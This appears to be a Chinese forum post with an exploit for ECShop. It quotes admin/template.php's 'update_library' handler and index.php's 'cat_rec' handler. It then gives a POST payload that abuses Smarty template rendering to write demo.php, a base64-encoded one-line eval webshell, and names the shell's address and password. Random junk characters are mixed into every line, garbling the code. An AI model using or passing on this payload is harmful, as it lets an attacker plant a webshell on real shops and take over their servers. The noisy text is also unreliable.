首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板+ P0 t+ ]3 Y% b8 e
6 y& a$ r1 c+ }* R6 C: e
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了7 y) h( |9 I; h
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
& m/ J9 i/ ?, xadmin/template.php
5 ~- r+ W( s3 m# _1 S+ ~2 L; y6 G7 I+ M3 F* F
1 if ($_REQUEST['act'] == 'update_library')
# N) z* X, n ?# L+ J) d7 Y7 a1 |; v
" }% d9 m: D$ J% ~0 H3 E" A2 1 Y+ U5 _) N$ P+ B- T
% R) P, {% H$ w
3 {
' _" B" w6 m! U# r" r4 z) I; t# [1 u) `9 K; g! ^. ?4 v! N+ S
4 check_authz_json('library_manage'); 2 B4 x, H" i( b3 ^" R
: Y% @4 H6 M+ m2 a v! f5 k/ Q( {5 ' O! o/ t' U m" q5 W
5 G0 B& f/ M2 y" g% b+ Y6 $html = stripslashes(json_str_iconv($_POST['html']));
# w# g) [7 D3 S
" ~6 |1 W+ P$ _6 I$ X. e7
% k0 g2 X Q5 w5 A3 k" v& \2 q; M7 s7 S6 |/ V$ `! O5 J
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 " C. e' y1 I, z% N2 T
; d1 f0 d+ I, i2 ^( X$ ]5 H
9 7 H. ], |1 {- d) ?2 f, ]0 H
. B& } b2 p2 i2 W
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
2 q, Y6 A0 z5 K# H
! Y. U1 W, |+ }5 ^11
2 I0 V! r2 \9 K2 m9 u! _/ i2 S2 H* e$ J
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
. g _+ a5 Z: ^) x9 y; ^9 |, @/ `/ s$ }4 {2 G& B( }
13
+ v5 Q( M* \0 J! |) b: v& v4 N( m
6 l ~3 H7 m) J) H$ r; c14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
( w- R' D I9 ?6 A2 u: A0 f
5 F9 E% f) k3 M" M2 _15 {
; O9 g/ `+ k0 Z0 f1 F3 x! J
' R" A- d* z4 q' L16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); , `8 Y& J. i! ?7 Y) m
. ?$ F8 J3 y* N17 make_json_result('', $_LANG['update_lib_success']); 2 Z, {* R* l/ ?& d8 p6 D; L/ _
# W* W8 a9 q! Z+ q$ d" w6 Q, P18 } 3 h0 g9 E$ H" ^
/ V# w1 i% c) _' [& A* O19 else
$ r7 B+ H" L8 K( i& y
" K+ G' h4 A+ q20 { 4 U6 e7 E# G" U1 e; q
0 c' X1 m0 V& @) C' \! |5 b. z! S21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
# d6 D" @7 ~8 l4 R& f+ y4 N+ O" T1 l x4 b4 l( i# w
22 }
$ y% v) X. @ S% ^
+ J8 L: F X/ P% R7 R' D' ~) m% b23 } 6 z7 ~+ h/ L, `, I
; Z3 g% E2 [, K+ R那么找个比较方便调用了模板的文件
' _5 a' V4 c: L; r8 Hindex.php+ s" o5 u1 Q, ?+ t- y3 ]. K! J! ^
/ f0 f' ^! s T$ a
1 if ($act == 'cat_rec')
( `! K5 t- f( D6 V, d5 l9 v0 R2 Y
. }6 l: S& g* l% n7 L9 {* k2 2 d- \0 w$ W/ L9 s
; [( [2 ]: S" X, s
3 { 1 ^, K( J; o) L+ {( J4 ~
5 P$ u, B( S: T- j( z6 j3 H4 ) S( b# _9 l; y3 l1 o
; ]1 {4 l1 ?+ t% l2 p2 W3 _
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
& _* v5 W* H" j* R X# W, e, R
' c: [1 t- v( I' g+ t6 # U$ ~) {- o7 e( i- ~
! N/ ^& {+ |3 {
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; ) G* K- X T! ]5 |2 |. R; s
4 n' e; J+ A, d- H% p
8 / U$ c K' o8 g& w3 {
" w5 @1 B- A" |* h! ]
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
6 I3 ?. S+ T3 \. O, l M$ e9 T+ M. ]* ^; a
10 . Y" A# i( _# z; d8 R1 _% c1 v
- Z1 g5 U( d- W5 [2 ]7 F: e6 V11 include_once('includes/cls_json.php');
( Q1 w( r( `2 \& f* j8 `- m: ]3 F
/ d" O1 n8 Y8 P6 ?2 U: H0 I: s! ^$ L12
( T+ h6 m F1 U6 K O/ J' e; X: h- h$ L: }8 Z5 n
13 $json = new JSON;
. h$ B; G2 y: |* a& I( P1 F
) `- O* C4 {/ u; c3 ^9 W3 V6 v14
) ]7 ?! A" B) P6 | U% g* _! X% x
: }& U; |" J/ a( v, l" f15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); ' e6 n [2 L- z" n
6 Q( p! a" j& A1 ^% Q! W
16
% E( ]. C5 V( x$ g8 W5 R( C0 F
17 $children = get_children($cat_id); / z) y. T9 Z& p# A9 K b
Z/ w C: h1 E% e4 P2 s5 O2 L: E
18 ( @9 F8 B, Z' W: R8 h0 {- |+ }: c$ ?
2 P5 g( m3 f' _8 G( c5 |
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
" u$ g& a* {6 p& Z: q' S7 W: n
! H% U) N1 u! s4 ?: [' W20
! Z D. L. [* y* o U; r1 _ y
% A8 F1 z8 p [, q3 `21 $smarty->assign('cat_rec_sign', 1); % o7 ?' t2 k0 v2 I# [4 D
2 u+ M4 A$ Y5 A5 m22 $ Q8 a! S9 S7 c$ F& I5 ^& e
' [* d. P, g6 o) S B
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best % r7 h% E5 [ Z2 |4 d
2 ~7 v$ b: G5 @24
! }. b6 I* K( v* i& w; Q2 Z. g Z6 N* d$ j C
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
# J# G. Q) d. t
6 W L' n3 [* v6 L2 H26 " O' \9 P. O9 Q2 V
5 K0 B3 _8 g1 d
27 echo $rec_array[$rec_type]; " i/ L% M; d& X8 p" Q
6 }6 `" v. e6 o) W0 N28 ( U- i" s ~* f' W& ?1 b- E
: ~( I- ?2 w+ p" u$ {* p- x6 A
29 die($json->encode($result)); % G, ~) G% N2 Q- ?1 E; k
. F0 i4 w3 r, X4 c/ m
30
1 M' o R: G# G" q; L8 N- p: d9 T! L
' ]2 ~- D7 H& Q7 T. z$ B4 P31 }
; u9 i6 e3 n7 |0 T% m) [) l
" ~* Z& i1 F" x, G* X: _1 A那么就有利用方法了
A* O h; p% A8 d0 P4 \post包到http://localhost/ec/admin/template.php?act=update_library
% X: v6 Z$ A/ \! o$ \, A; N8 SPost内容:
2 q4 S: `8 C: {) s5 U1 S/ L
4 b) O& O9 i2 j4 t
3 }+ X7 u% ]% p+ s9 f1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
+ i* ]- c. S- h6 w# i, R9 b' K. j, \
然后访问http://localhost/ec/index.php?act=cat_rec
) C8 v! n7 P2 H2 S5 s% B: C: j
& B2 @$ H; @/ E, v3 {5 c D+ sshel地址:http://localhost/ec/demo.php9 y' p% z5 N# w3 \; `3 k
密码c3 n/ Q; \! A- \5 y
" }. P7 V2 d3 A3 `1 s1 N8 z- a, {1 X |